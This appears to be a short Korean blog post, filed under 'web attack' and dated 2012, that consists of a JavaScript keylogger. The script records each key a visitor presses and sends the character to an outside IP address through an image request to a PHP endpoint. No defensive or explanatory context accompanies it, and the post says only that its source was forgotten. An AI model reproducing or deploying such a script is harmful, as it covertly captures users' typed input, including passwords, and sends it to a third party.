javascript keystroke 3
웹/공격 2012. 2. 22. 15:55 | function keyHandler(e)
{
var pressedKey;
if (document.all) { e = window.event; }
if (document.all) { pressedKey = e.which; }
if (document.all) { pressedKey = e.keyCode; }
pressedCharacter = String.fromCharCode(pressedKey);
new Image().src='http://211.55.19.79/key.php?key='+pressedCharacter;
pressedCharacter=''
}
document.onkeypress = keyHandler;
출처 까먹었